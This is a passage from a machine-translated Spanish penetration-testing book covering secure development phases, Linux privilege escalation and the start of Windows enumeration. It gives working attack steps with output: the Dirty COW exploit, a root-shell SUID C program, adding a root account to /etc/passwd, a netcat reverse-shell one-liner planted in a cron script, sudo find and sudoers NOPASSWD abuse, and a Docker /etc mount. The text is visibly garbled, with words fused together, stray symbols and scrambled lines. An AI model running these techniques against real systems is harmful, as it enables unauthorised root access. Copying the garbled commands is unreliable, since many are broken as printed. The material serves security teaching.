visualizar todos los componentes juntos (consulte la Figura 9.24). Fase de desarrollo En esta etapa, el proyecto ya está aprobado (por el consejo de arquitectura) y pasa a la fase de desarrollo. Aquí es donde se desarrollan las características del sitio web o la aplicación móvil utilizando lenguajes de programación como C#.NET, Java, Angular, Swift, etc. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.23 Diagrama de red Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 9.24 Diagrama de flujo de datos Duringthedevelopmentphase, theteamwilluseabuildserver, likeJenkinsor TeamFoundationServer (nowadaysTFSiscalledAzureDevOps) .Thisbuild serverwillorchestratetheprojectsourcecode; por lo tanto, la integración wehavecontinuous (CI) andcontinuousdeployment (CD) .Inthedevelopmentphase, youmustensurethefollowing:. Pruebas Thesourcecodeisscannedregularlyusingastaticapplicationsecurity (SAST) automatedtool (. Por ejemplo, Veracode, Checkmarx, etc) submittedtothebuildserver de la SASTscannerwillspotsecurityflawsinsidethesourcecodeonceit ( Jenkins, TFS, etc.). Debe imponer este buen hábito a los proyectos para que puedan detectar problemas al principio durante el Canal de Telegram : @IRFaraExam Machine Translated by Google desarrollo del producto (en lugar de hacer esto escanear en el último minuto antes de la implementación en el servidor de producción). La revisión manual del código es esencial porque una herramienta automatizada no es suficiente para cubrir el 100 por ciento del código fuente. Después de terminar una nueva función (por parte del desarrollador), debe realizar este paso. La mayoría de las veces, el código fuente usa bibliotecas de terceros de código abierto (el objetivo es agregar más funcionalidades a la aplicación). En este caso, es su deber verificar estos tres elementos: ¿La biblioteca contiene alguna vulnerabilidad? ¿Está actualizado? ¿Es legal usarlo para uso comercial? Para hacer el trabajo, hay escáneres automáticos (por ejemplo, Sonatype Lifecycle) que pueden verificar estos tres elementos. Fase de prueba Después de terminar algunas funciones del producto, el proyecto está listo para implementarse en el servidor de prueba (QA). El objetivo de la implementación es tener un servidor de prueba separado donde los probadores puedan ir y probar la aplicación web/móvil. En esta etapa, usted, como profesional de seguridad, debe verificar los siguientes elementos: Es su oportunidad de ir y aprender las nuevas funcionalidades de la interfaz de usuario. Use la edición Burp Professional para probar manualmente las vulnerabilidades (pruebas de penetración web) de las nuevas funciones. Utilice una herramienta de prueba de seguridad de aplicaciones dinámicas (DAST) (p. ej., BurpSuite Enterprise Edition, Acunetix, etc.) para automatizar las pruebas de penetración web. Esta tarea se implementa en la fase de prueba porque necesita un sitio web en ejecución (por lo que debe implementarse en un entorno astable, antes de ejecutar la herramienta). Entorno de producción (implementación final) Una vez que el código se implemente en el entorno de producción, el sitio web o la aplicación móvil quedarán bajo la responsabilidad del equipo de seguridad operativa (OpSec). OpSec se encargará de supervisar y realizar pruebas de penetración periódicas (por lo general, una vez al año) en la infraestructura y las pruebas de penetración web también en la aplicación Canal de Telegram : @IRFaraExam Machine Translated by Google Últimamente, se implementaron programas de recompensas por errores y las empresas comenzaron a contratar cazadores de recompensas por errores externos para buscar cualquier defecto que faltara y que no se detectara durante todas las fases anteriores. Resumen Es probable que más del 80 por ciento del tiempo de un consultor de seguridad cibernética se dedique a las pruebas de penetración de aplicaciones web. Le recomendamos encarecidamente que domine este tema antes de continuar con este libro. La fórmula simple para dominar cualquier habilidad se basa en dos factores: conocimiento y práctica (la habilidad heredada también es un factor menor). ¿Qué sigue? En el próximo capítulo, profundizaremos en el concepto de escalada de privilegios de Linux. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 10 Escalada de privilegios de Linux En esta etapa, ya tiene un caparazón limitado, y le gustaría ir más allá y obtener un caparazón raíz en su lugar . Este capítulo se enfoca principalmente en la escalada de privilegios del sistema operativo Linux, y el capítulo siguiente tratará el sistema operativo Windows. Aunque el sistema operativo Windows es popular entre los hosts de los clientes, la mayoría de la infraestructura de red y los servidores utilizan el sistema operativo Linux. El objetivo de este capítulo (y de este libro en general) es enseñarle la metodología y no depender de herramientas para hacer el trabajo. carrera profesional. Este capítulo cubrirá los siguientes temas: LinuxKernelexploits Explotación de SUID de Linux Manipulación de archivos de configuración de Linux Exploitingrunningservices sudoers explotación Scripts automatizados para la escalada de privilegios de Linux Introducción a las vulnerabilidades del kernel y faltantes Configuraciones La escalada de privilegios en un sistema operativo Linux se puede lograr de dos maneras: explotandoelkernel Explotación de una configuración débil del sistema (principalmente implementada por el usuario raíz) Canal de Telegram : @IRFaraExam Machine Translated by Google En el resto de este capítulo, profundizaremos en cada categoría para lograr el objetivo (obtener un shell raíz). Empecemos. Exploits del núcleo El kernel es el corazón del sistema operativo Linux y se ejecuta con privilegios de root. Una falla que pueda interactuar con el kernel permitirá que su usuario se ejecute en modo root. Tenemos algunos desafíos cuando queremos ejecutar una explotación en el host de destino. Aquí están los pasos para hacerlo: 1.Identifiquelaversióndelkernel. 2. Busque un exploit que coincida con la versión del kernel (encontrado en el paso 1). 3. Transferir el exploit al host vulnerable (profundizaremos en esto) tema más adelante en este capítulo). 4. Encuentre la manera de engañar al host vulnerable para que ejecute nuestra carga útil, como compilar el código C en el host remoto. Explotación del kernel:DirtyCow La vaca sucia representa la función de copia sobre escritura (COW) de la memoria privada de solo lectura. ¿Cómo funciona esta explotación? En una situación normal, un mecanismo COW leerá un archivo en la memoria y, por lo tanto, creará una copia en la memoria de ese archivo. Los creadores de este exploit intentaron crear miles de iteraciones en las que, en un momento determinado, el kernel sobrescribirá el archivo original. Este comportamiento dará a los atacantes una opción para sobrescribir el archivo que deseen. Debido a la naturaleza de este exploit (ejecutar miles de iteraciones), el sistema de destino podría fallar, así que tenga cuidado cuando lo use. Dicho esto, intentemos explotar esta vulnerabilidad. Primero, veamos los permisos de usuario actuales usando el comando id : elliot@ubuntu14Server:~$ id uid=1001(elliot)gid=1001(elliot)grupos=1001(elliot) Canal de Telegram : @IRFaraExam Machine Translated by Google En esta etapa, el usuario elliot tiene permisos limitados. Probemos esto intentando acceder al archivo /etc/shadow : elliot@ubuntu14Server:~$ cat/etc/shadow cat:/etc/ shadow:Permiso denegado A continuación, verifiquemos la versión del kernel en este servidor de usuario de Ubuntu: elliot@ubuntu14Server:~$ uname ÿa Linuxubuntu14Server3.13.0ÿ32-generic#57-UbuntuSMPTueJul1503:51:08UTC2014x86_64x86_64x86_64GNU/ Linux Dado que la versión es 3.13 (que es menor que la versión 3.9), podemos suponer que es vulnerable a la explotación de la vaca sucia. Si realiza una búsqueda en línea de la explotación de la vaca sucia, verá la pantalla en la Figura 10.1. Este exploit de Dirtycow admite versiones de Linux entre 2.6.22 y 3.9. Figura 10.1 GoogleSearch – DirtyCOWExploit exploit-db es mi opción cuando se trata de referencias de exploits, que es el primer elemento en los resultados de la búsqueda. El enlace lo llevará al sitio web de exploit-db en www.exploit-db.com/exploits/40839 . A continuación, descargue el código C de exploitÿdb a su Kalibox. Tenga en cuenta que estoy conectado con un shell limitado al host remoto usando Kali. El mayor desafío en este momento es transferir la explotación del archivo C al Canal de Telegram : @IRFaraExam Machine Translated by Google host vulnerable. Para hacer el trabajo, podemos usar el servidor web de Python para alojarlo: root@kali:~/Descargas#python-mSimpleHTTPServer8000 SirviendoHTTPon0.0.0.0port8000… A continuación, vuelva al shell limitado de SSH y ejecute las siguientes cinco acciones: Cambie el directorio de trabajo a /tmp porque tenemos más flexibilidad en esta carpeta (tenemos permisos de escritura). Utilice el comando wget para descargar el exploit. Compile el código C de acuerdo con la documentación de explotación (se encuentra en la parte superior de la sección de comentarios del código C). Ejecute el exploit de acuerdo con la documentación de exploitÿdb . Cambie al usuario recién creado llamado firefart . elliot@ubuntu14Server:/tmp$ wgethttp://172.16.0.102:8000/40839.c --2020-08-1711:43:50-http://172.16.0.102:8000/40839.c Conectando a 172.16.0. 102:8000... conectado. Solicitud HTTP enviada, esperando respuesta… 200 OK Longitud: 5006 (4,9 K) [texto/sin formato] Guardando en: '40839.c' 100% [=============================================== ============================== 5,006--. K/sin0s2020-08-1711:43:50(657MB/s )-'40839.c'saved[5006/5006] elliot@ubuntu14Server:/tmp$ gccÿ pthread40839.cÿodirtyÿlcrypt elliot@ubuntu14Server:/tmp$ chmod+xdirty elliot@ubuntu14Server:/tmp$ ./ dirty / etc/contraseña respaldada con éxito en/tmp/contraseña.bak Ingrese la nueva contraseña: Línea completa: firefart: fi6bS9A.C7BDQ: 0: 0: pwned: / root: / bin / bash mmap:7f297c216000 ptrace0 ¡Listo! Compruebe/ etc/passwd para ver si se creó el nuevo usuario. Puede iniciar sesión con el nombre de usuario 'firefart' y la contraseña 'test'. ¡NO OLVIDES RESTAURAR!$mv/tmp/passwd.bak/etc/passwd elliot@ubuntu14Server:/tmp$ sufirefart Contraseña: Canal de Telegram : @IRFaraExam Machine Translated by Google firefart@ubuntu14Server:/tmp# id uid=0(firefart)gid=0(raíz)grupos=0(raíz) ¡Usamos raíz! Dirtycowis es solo un exploit famoso; este ejercicio fue solo para mostrarle cómo hacer el trabajo cuando tiene un núcleo heredado. SUIDEexplotación Este exploit de ID de usuario (SUID) (personalmente lo llamo ID de superusuario de exploit) es una debilidad que permite a los usuarios ejecutar el permiso de un usuario específico (por ejemplo, raíz). Para buscar estos tipos de archivos, usaremos el comando de búsqueda para hacer el trabajo: elliot@ubuntu14Server:~$ find/ÿpermÿu=sÿtypef2>/dev/null /bin/umount /bin/mount / bin/ping6 /bin/su /bin/ping /bin/fusermount /usr/bin/ traceroute6.iputils /usr/bin/chsh / usr/bin/pkexec /usr/bin/at /usr/bin/chfn /usr/bin/mtr /usr/bin/sudo /usr/bin/passwd /usr/ bin/ gpasswd /usr/bin/newgrp /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/ openssh/ssh-keysign /usr/lib/pt_chown /usr/lib/eject/dmcrypt-get- dispositivo /usr/lib/ policykit-1/polkit-agent-helper-1 /usr/sbin/pppd /usr/sbin/uuidd /opt/bashme El archivo bashme es un buen candidato. De hecho, creé este archivo para este ejercicio en Canal de Telegram : @IRFaraExam Machine Translated by Google El propósito es mostrarle cómo funciona. Probablemente se esté preguntando cómo supe que no había candidatos. La respuesta es simple : todos son archivos del sistema para Linux . elliot@ubuntu14Server:~$ cd/opt elliot@ubuntu14Server:/opt$ lsÿla total20 drwxrxr-x2rootroot4096Aug1716:50. drwxr-xrx22rootroot4096Aug1710:25..ÿrwsrÿxrÿ x1rootroot8577Aug1716:50bashme Tome nota de la s (se llama bit fijo) al comienzo del valor de los permisos. De hecho, esto sucedió porque el usuario raíz ya ejecutó uno de los siguientes comandos para este archivo. $chmodu+s/opt/bashme $chmod4755/opt/bashme En esta etapa, todo lo que necesitamos para ejecutarlo usando nuestro shell de usuario limitado: elliot@ubuntu14Server:/opt$ ./bashme root@ubuntu14Server:/opt#id uid=0(root)gid=1001(elliot)groups=0(root),1001(elliot) Entonces, ¿qué hay dentro de este archivo bashme ? Es un ejecutable compilado de código C creado por el usuario raíz. En algunos otros casos (CTF, etc.), este es un archivo Bash ( .sh ) donde puede escribir su propio script: #include<stdio.h> #include<unistd.h> #include<sys/types.h> intmain(void) { setresuido (0,0,0); sistema ("/ bin / bash"); retorno0; } La raíz ha creado este archivo en el host vulnerable. Además, cuando lo ejecutamos usando una cuenta con privilegios bajos, el código compilado llamará a la función del sistema y cargará la ventana Bash usando privilegios de raíz. Recuerde que para compilar el código C (en general) necesitará ejecutar el siguiente comando: Canal de Telegram : @IRFaraExam Machine Translated by Google $gcc[archivo fuente].co[nombrearchivosalida] Para un ejecutable compilado de 32 bits, debe ejecutar el siguiente comando. Esto depende de si el sistema Linux de destino es una versión de 32 o 64 bits. Tenga en cuenta que no puede ejecutar una aplicación de 64 bits en un sistema de 32 bits: $gcc-m32[archivo de origen].co[nombre de archivo de salida] Anulación del archivo de usuarios de contraseñas Hay múltiples enfoques para encontrar la manera de escribir en el archivo /etc/passwd . En resumen, si tiene permisos de escritura en este archivo, puede generar una cuenta de usuario raíz que puede utilizar para iniciar sesión. Compruebe si el usuario actual (usuario de shell limitado) tiene permisos de escritura para este archivo. Compruebe si la SUI está configurada para el comando cp (copiar). Compruebe si el SUI está configurado para los editores de texto Viman y Nano (o cualquier otro tipo de editores de texto). El primer punto es fácil de implementar, solo necesitamos generar el usuario root y agregarlo al archivo (recuerde que ya tenemos un permiso de escritura en el archivo). elliot@ubuntu14Server:~$lsÿla/etc/passwd ÿrwxrÿ xrwx1rootroot1293Aug1716:45/etc/passwd Parece que tenemos permisos de escritura en este archivo. Para probar este comportamiento, agregue el número 1 al archivo para ver si funciona: elliot@ubuntu14Server:~$ echo1>>/etc/passwd elliot@ubuntu14Server:~$ cat/etc/passwd root:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash /sbin:/usr/sbin / nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/ sbin/nologin sync:x:4:65534:sync: /bin:/bin/sync […] messagebus:x:102:106::/var/run/dbus:/bin/false paisaje:x:103:109::/ var/lib/paisaje:/bin/false sshd:x:104:65534::/var/ejecutar/sshd:/ usr/sbin/nologin Canal de Telegram : @IRFaraExam Machine Translated by Google postgres:x:105:111:Administrador de PostgreSQL,,,:/var/lib/postgresql:/bin/bash gus:x:1000:1000:guskhawaja,,,:/home/gus:/bin/bash elliot:x: 1001:1001:elliot,11,0,0,Fsociety:/home/elliot:/bin/bash 1 ¡Impresionante, funciona! A continuación, genere un usuario raíz real . Para hacer el trabajo , utilice el comando OpenSSL para generar una contraseña de fsociety ; el nombre de usuario será mrrobot: elliot@ubuntu14Servidor:~$ opensslpasswdÿ1ÿsaltmrobotfsociety $1$mrrobot$uBJaW/ VOizY1OYia6mMLc1 Ahora, agregue el nuevo usuario al archivo de contraseñas (usaremos el editor de texto Nano para hacer el trabajo). Revisemos el contenido de este archivo, que se muestra aquí: elliot@ubuntu14Server:~$ cat/etc/passwd […] mrrobot: $1$mrrobot$uBJaW/VOizY1OYia6mMLc1:0:0:raíz:/raíz:/ bin/bash ¿Qué cree que sucederá cuando cambie al nuevo usuario de mrobot ? ¿Es usuario root? elliot@ubuntu14Servidor:~$ sumrrobot Contraseña:root@ubuntu14Server:/home/elliot# id uid=0(root)gid=0(root)groups=0(root) En este escenario, pudimos agregar el nuevo usuario porque teníamos permisos de escritura. El segundo escenario es si el comando cp tenía el bit SUID activado. Si ese es el caso, entonces debe crear un nuevo archivo de contraseña y luego usar el comando cp para hacer el trabajo: $cp[suarchivocontraseñageneradopersonalizado]/etc/contraseña No olvide copiar primero los usuarios existentes del archivo original, antes de agregar el nuevo usuario raíz. El escenario final se puede explotar cuando el SUI Disset para el editor de texto Nano o Vim, por ejemplo. Luego, esta marca le permitirá usar uno de estos editores de texto para cambiar el contenido del archivo de contraseña wd y agregar un nuevo usuario raíz. CRONJobsPrivilegeEscalation Canal de Telegram : @IRFaraExam Machine Translated by Google El cronograma dentro del sistema Linux, que permite a los usuarios crear tareas programadas. Por tareas, queremos decir comandos; para los hackers, esto es una puerta para la explotación. ¿Qué pasa si podemos verificar qué está tratando de programar el usuario raíz? CRONConceptos básicos Un usuario raíz puede programar una tarea para ejecutar un sistema Linux de diferentes maneras. El primer método es usar los directorios cron : /etc/cron.daily/ /etc/cron.horaria/ /etc/cron.monthly/ /etc/cron.weekly/ Cualquier archivo de secuencia de comandos guardado en cada carpeta se ejecutará de acuerdo con su período de tiempo. Por ejemplo, un archivo script ubicado en la carpeta /etc/cron.daily/ se ejecutará diariamente. Crontab El segundo método es el uso de crontab. Un usuario raíz puede programar una tarea programada en todo el sistema mediante el archivo /etc/crontab . Este es el escenario más común que puede encontrar cuando un usuario raíz desea programar una tarea. Minuto (0-59) Hora (0-24) Día (1-31) Mes (1-12) Día de la semana (0-6,0 es Domingoy6esSábado)[Comandoparaejecutar] Por ejemplo, para ejecutar el script sys.sh cada hora al minuto 0 (por ejemplo, 6 a. m., 7 a. m., etc.), use esto: 0 ****/raíz/sys.sh El asterisco significa cualquier valor posible para un minuto, mes, etc. También puede utilizar los siguientes operadores: Coma (,): Esto especifica números enteros consecutivos como 1,2,3,4,5 . Guión (ÿ): este carácter le permitirá especificar rangos . Por ejemplo, 1ÿ5 es lo mismo que 1,2,3,4,5 . Canal de Telegram : @IRFaraExam Machine Translated by Google Barra diagonal (/): Esto especifica un valor de paso. Por ejemplo, cada 4 horas . es un archivo de configuración de todo el sistema. Pero equivale a */4/etc/crontab cada usuario puede configurar sus propias tareas de crontab ejecutando el siguiente comando: $crontab-e El comando anterior abrirá el archivo crontabuser y permitirá que el usuario agregue tareas. Anacrontab Otra forma final de agregar trabajos cron es usar una tabuladora. El archivo de configuración de todo el sistema para esta se encuentra en /etc/anacrontab . ¿Por qué usar este método? De hecho, anacron no espera que su host esté siempre ejecutándose; verificará todos los scripts programados después de que reinicie su host. Esto es práctico para hosts normales donde espera que estén apagados. Período 7 retrasar el comando identificador de trabajo 10backup.dailycp/etc/passwd/root/ El primer campo es el período, un valor numérico que representa el número de días de la tarea: 1: Mediodiario 7: Media semanal 30: Medias mensuales O puede usar este formato: @diario/@semanal/@mensual . Puede usar un número personalizado para especificar cualquier número para los días. El segundo campo es la demora de minutos que la máquina debe esperar después de un reinicio (antes de ejecutar las tareas programadas). El tercer campo es el identificador del nombre del trabajo. Cada tarea debe tener un nombre único y se guardará un archivo con el mismo nombre en el directorio /var/spool/anacron/ . Este archivo contendrá una marca de tiempo de la última vez que se ejecutó el trabajo . Finalmente, el último campo identificará el comando que queremos ejecutar. Enumeración y explotación de CRON Canal de Telegram : @IRFaraExam Machine Translated by Google Para obtener una lista de todos los contenidos del directorio cron, use: $ls-la/etc/cron*2>/dev/null Parabuscarmundo: trabajos cron grabables, establezca: $find/etc/cron*-perm-0002-typef-execls-la{}\;-execcat{}2>/dev/null\; Para inspeccionar el contenido de la tabulación temporal, configure: $cat/etc/crontab2>/dev/null Para comprobar las entradas del cronta del usuario raíz, utilice: $crontab-l-uroot Tolistanacronjobs, utiliza: $ls-la/var/spool/anacron2>/dev/null Comencemos con un ejemplo de cómo explotar cron en un host Linux. tenga un usuario de shell limitado (elliot) conectado a un servidor de usuario de Ubunt . crontabentriesrevelaunatareaprogramadaqueseejecutacadaminutoyejecutauna script guardado en el directorio /root/schedule/ : elliot@ubuntu14Servidor:~$ cat/etc/crontab2>/dev/null [..] **** rootcd/&&run-parts--report/etc/cron.hourly *** 17roottest-x/usr/sbin/anacron||(cd/&&run-parts-256report/etc/cron.daily) ** 7roottest-x/usr/sbin/anacron||(cd/&&run-parts-476report/etc/cron.weekly) ** 5261roottest-x/usr/sbin/anacron||(cd/&&run-parts-informe/etc/cron.monthly) ***** root/opt/copia de seguridad.sh # elliot@ubuntu14Servidor:~$ A continuación, inspeccionemos el archivo para ver si podemos escribir en él usando el ls mando: elliot@ubuntu14Server:~$lsÿla/opt/backup.shÿ rwxrwxrwx1rootroot42Aug1915:20/opt/backup.sh En esta etapa, comenzaremos a escuchar en el puerto 1111 en un Kalibox para escuchar un Canal de Telegram : @IRFaraExam Machine Translated by Google shell entrante: root@kali:~#ncÿnlvp1111 escuchando[cualquiera]1111… A continuación, abra el script de tareas ( backup.sh ) con el editor de texto Nano e inserte su script de shell inverso. Elimine todo el contenido que contiene y reemplácelo con lo siguiente: rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc172.16.0.1021111>/tmp/f Guarde el texto (Ctrl+O) y cierre Nano (Ctrl+X). Espere un minuto a que se ejecute el trabajo y obtendrá un shell raíz: root@kali:~#nc-nlvp1111 escuchando en[cualquier]1111… conectarse a[172.16.0.102]desde(DESCONOCIDO)[172.16.0.101]50971 /bin/sh:0:no se puede acceder a tty;jobcontrolturnedoff #id uid=0(root )gid=0(raíz)grupos=0(raíz) # sudoers El comando sudo se introdujo en el sistema Unix/Linux para la separación de privilegios. Un usuario puede usar el comando sudo para ejecutar comandos con privilegios altos al proporcionar una contraseña. $sudousermod-aGsudo[nombre de usuario] Además, un administrador del sistema puede modificar el archivo de configuración de sudoers así como /etc/sudoers para obtener permisos más granulares. ¡Veamos cómo aprovecharlo! sudoPrivilegeEscalation Haydiferentesmanerasdeescalarnuestrospermisosparaobteneryejecutaruncomandodeprivilegioalto.Ashackers,n Busque el SUID en un editor de texto como Vim/Nano para editar el archivo sudoers . Canal de Telegram : @IRFaraExam Machine Translated by Google Enumere los permisos de sudo y busque cualquier programa que pueda omitir . Intenta ejecutar sudo sin contraseña. ExplotacióndelcomandoBuscar La sección anterior enumera las formas en que puede aprovechar las debilidades en los permisos de sudo . El segundo punto menciona que podemos enumerar los permisos de sudo . Para hacer el trabajo, usemos el comando apropiado como sigue: elliot@ubuntu14Server:~$sudoÿl [sudo]contraseñaforelliot: Coincidencia de entradas predeterminadas para el servidor ubuntu14: env_reset, mail_badpass, ruta_segura=/usr/local/sbin\:/usr/local/bin\:/usr/ sbin\:/usr/bin\:/sbin\:/bin El usuarioelliotpuedeejecutarlossiguientescomandosenelservidorubuntu14: (raíz)/usr/ bin/find El usuario elliot tiene la opción de ejecutar el comando de búsqueda con permisos de raíz. Veamos cómo podemos aprovechar este comando para la escalada de privilegios. Use la opción exec en el comando de búsqueda para ejecutar un shell raíz: elliot@ubuntu14Server:~$ sudofind/ÿexecshÿi \; #id uid=0(raíz)gid=0(raíz)groups=0(raíz) # Esa es una forma de explotar usando el comando de búsqueda , pero puede aprovechar cualquier programa enumerado en los permisos de sudo . Edición del archivo sudoers Recuerde que cualquier editor de texto que tenga configurado el bit SUID nos permitirá editar archivos de configuración, incluido el archivo /etc/sudoers . Primero, enumere los archivos SUID en su shell limitado actual: elliot@ubuntu14Server:~$ find/ÿpermÿu=sÿtypef2>/dev/null /bin/umount /bin/mount / bin/ping6 /bin/su /bin/ping /bin/fusermount Canal de Telegram : @IRFaraExam Machine Translated by Google /bin/nano / usr/bin/traceroute6.iputils /usr/bin/chsh El programa Nano aparece en la lista de resultados, por lo que puedo usarlo para editar el archivo sudoers : $ nano /. etc permiso para elliot (lo insertaré agregaré al final delun Una/ sudoerssudo vez que se cargue el archivo de configuración, archivo): #Allowmembersofgroupsudotoejecutanycommand #%sudoALL=(ALL:ALL)ALL #Seesudoers(5)para obtener más información sobre las directivas "#include": #includedir/etc/sudoers.d elliotALL=(TODO)SINPASSWD:TODO Para asegurarse de que los cambios surtan efecto, salga de la sesión SSH de elliot y vuelva a iniciar sesión. Una vez que haya iniciado sesión, ejecute el shell SH con el comando sudo . Tenga en cuenta que la ventana del terminal no solicitó una contraseña y eso se debe a la configuración "NOPASSWD" que agregamos anteriormente: elliot@ubuntu14Server:~$sudoshÿi #id uid=0(raíz)gid=0(raíz)groups=0(raíz) # Explotación de los servicios de ejecución Algunos servicios instalados en un sistema Linux se ejecutarán en modo de acceso root. Esta falla nos permite aprovechar este comportamiento y obtener un shell raíz. elliot@ub01:/$ psÿaux|grepDocker elliot30460.00.017532724pts/0S+09:140:00grepÿÿcolor=autoDocker Ejecute el mismo ataque que hicimos anteriormente mediante la manipulación del archivo de configuración sudoers . A continuación, ejecute un nuevo contenedor basado en la imagen de Alpine: elliot@ub01:~$ dockerrunÿitdÿv/etc/:/mnt/alpine 17d6da6fca8152fd8f2360abc5a4cad928c0d655e2c1fadac7df1de6c669dd23 elliot@ub01:~$ dockerps Canal de Telegram : @IRFaraExam Machine Translated by Google ID DE CONTENEDOR COMANDO DE IMAGEN CREADO ESTADO NOMBRES DE PUERTOS alpino"/bin/sh"10segundosagoUp9segundos 17d6da6fca81bold_aryabhata Tenga en cuenta que montamos /etc/ en el host de Ubuntu en /mnt/ en el contenedor Docker . Es hora de interactuar con el contenedor para editar el archivo sudoers : elliot@ub01:~$ dockerexecÿit17d6da6fca81/bin/sh /# cd/mnt/ /mnt# echo"elliotALL=(ALL)NOPASSWD:ALL">>sudoers /mnt# exit Veamos si podemos usar el comando sudo para obtener un shell raíz en el host de Ubuntu: elliot@ub01:~$ sudoshÿi #id uid=0(raíz)gid=0(raíz)groups=0(raíz) # Scripts automatizados En este punto, debe comprender cómo obtener acceso raíz con un shell limitado. Dicho esto, todos los comandos discutidos en este capítulo se pueden automatizar para comprobar si el sistema Linux de destino es vulnerable. A primera vista, la información es abrumadora, y un script automatizado nos hará la vida más fácil. Cuando desee utilizar un script, recuerde seguir estos pasos: 1. Inicie el servidor web para su Kalihost (para que pueda transferir el archivo de script). 2. Desde el shell limitado en el host Linux de destino, haga lo siguiente: a. Cambie su directorio actual a donde tenga permisos para escribir (por ejemplo, / tmp/ ). b.Descargueelarchivomediantewgetocurl . c.Cambieelpermisoenelarchivomedianteelcomandochmod + x . _ _ d. Ejecute el archivo de script (opcionalmente, guarde la salida en caso de que pierda su cascarón). Estos son los tres principales scripts automatizados que puede usar durante sus pruebas de penetración (puede guardarlos para usarlos siempre que llegue el momento de la escalada de privilegios): Canal de Telegram : @IRFaraExam Machine Translated by Google LinEnum: github.com/rebootuser/LinEnum LinuxPrivChecker: github.com/sleventyeleven/linuxprivchecker LinuxExploitSuggester: github.com/mzet-/linux-exploit-suggester UngrantoneesLinEnum. Estos son los pasos para implementar cuando desee utilizar esta herramienta en un host Linux de destino: 1. Inicie el servidor web en mi host Kali (la máquina atacante). 2. En el shell limitado, cambie su directorio actual a /tmp (porque esto carpeta generalmente permite que todos escriban y ejecuten). 3. Descargue el script Lin Enum en el host de destino (víctima) mediante el wget mando. $wgethttp://[KaliIP]/LinEnum.sh 4. Otorgue al archivo los permisos de ejecución. $chmod+xLinEnum.sh 5. Ejecutarlo. $./LinEnum.sh Resumen El sistema operativo Linux es vulnerable a la escalada de privilegios si su usuario root no lo configuró correctamente (o si el kernel no se actualizó adecuadamente). Si ese es el caso, tiene suficiente espacio para obtener un shell raíz. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 11 Escalada de privilegios de Windows Como sabe, el sistema operativo Microsoft Windows es popular entre los usuarios individuales y las empresas para sus empleados. Hay mucha información sobre la escalada de privilegios en el sistema operativo Windows y, como es habitual, todos los conceptos se explican a través de ejemplos. Al final de este capítulo, debería poder empezar a escalar sus privilegios con facilidad. Estecapítulocubrelossiguientestemas: CómoenumerarelsistemaoperativoWindows Cómo transferir archivos a Windows mientras está en un shell limitado Windowskernelexploits Explotación de los servicios de Windows Explotación de la GUI de Windows Herramientas de automatización de escalada de privilegios WindowsSystemEnumerationWindowsSystemEnumeration Antes de comenzar a explotar el sistema operativo Windows, necesitaremos enumerar el host. En esta sección, verá todos los comandos básicos de numeración para realizar el trabajo. Información del sistema Para explotar el sistema para la escalada de privilegios, deberá comprender los detalles del sistema operativo. El comando systeminfo le brindará mucha información sobre el sistema operativo Windows de destino : C:\Usuarios\Gus>info del sistema Nombre de host: WINDOWS10LAB Nombre del sistema operativo: MicrosoftWindows10Enterprise LTSC Versión del sistema operativo: 10.0.17763N/ABuild17763 Microsoft OSFabricante: Corporation Canal de Telegram : @IRFaraExam Machine Translated by Google Configuración del sistema operativo: OSBuildType: Dueño registrado: Organización Registrada: ID del Producto: Fecha de instalación original: Tiempo de arranque del sistema: Fabricante del sistema: Modelo de sistema: MiembroEstación de trabajo MultiprocesadorGratis Usuario de Windows 00424-90483-55456-AA805 6/1/2020,9:40:20AM 9/8/2020,5:30:37 p. m. VMware, Inc. VMware7,1 PC basado en x64 Tipo de sistema: Procesador(es): 1Procesador(es) instalado(s). [01]:Intel64Family6Model158Stepping10GenuineIntel~3192Mhz VMware, Inc. BIOSVersión:VMW71.00V.16221537.B64.2005150253,5/15/2020 WindowsDirectorio:C:\Windows Directorio del sistema: C:\Windows\system32 BootDevice:\Dispositivo\HarddiskVolume1 SystemLocale:en-us;Inglés (Estados Unidos) InputLocale:en-us;Inglés (Estados Unidos) Zona horaria: (UTC-05:00) hora del este (EE. UU. y Canadá) 4.095 MB 2553 MB 4,799 MB 3,434MB 1,365 MB C:\pagefile.sys KCorp.local \\WINDOWS10LAB TotalPhysicalMemory:AvailablePhysicalMemory:VirtualMemory:MaxSize:VirtualMemory:Available:VirtualMemory:I 10Revisión(es) instalada(s). [01]:KB4570720 [02]:KB4465065 [03]: KB4470788 [04]:KB4487038 [05]:KB4549947 [06]:KB4561600 [07]:KB4562562 [08]:KB4566424 [09]: KB4570332 [10]:KB4570333 Tarjeta(s) de red: 2NIC(s) instalado(s). [01]:DispositivoBluetooth(Personal red de área) Nombre de la conexión: BluetoothRedConexión Estado: Mediadisconnected [02]:Intel(R)82574LGigabit Canal de Telegram : @IRFaraExam Machine Translated by Google Conexión de red Nombre de la conexión: Ethernet0 DHCP habilitado: sí Servidor DHCP: 172.16.0.2 Dirección(es) IP [01]:172.16.0.104 [02]:fe80::8920:1b10:a0d5:635b Se ha detectado un Requisitos de Hyper-VR: no se hipervisor. mostrarán las características requeridas para Hyper-V. Como puede ver en los resultados anteriores, hay mucha información. Para hacerlo más simple, podemos filtrar el resultado usando el comando findstr , como se muestra aquí: C:\Usuarios\Gus>info del sistema|findstr/B/C:"Nombre del SO"/C:"Versión del SO" Nombre del sistema operativo: MicrosoftWindows10EnterpriseLTSC Versión del sistema operativo: 10.0.17763N/ABuild17763 WindowsArquitectura Para obtener la arquitectura, utilizaremos la utilidad WMIC. Encontrará la herramienta WMIC en diferentes escenarios si va a utilizar la línea de comandos de Windows. De hecho, esta utilidad proporciona una interfaz de línea de comandos para la instrumentación de administración de Windows: C:\Usuarios\Gus>wmicosgetosarchitecture||echo %PROCESADOR_ARQUITECTURA% Arquitectura OS de 64 bits Listado de unidades de disco Para enumerar todas las unidades en el sistema operativo Windows, usemos la utilidad wmic una vez más: C:\Users\Gus>wmic logicaldiskgetcaption||fsutilfsinfodrives Subtítulo C: D: Parches instalados Para enumerar los parches del sistema instalados en el sistema operativo Windows, puede usar la información del sistema Canal de Telegram : @IRFaraExam Machine Translated by Google comando que usamos anteriormente. Este trabajo también se puede realizar usando el utilidad wmic : 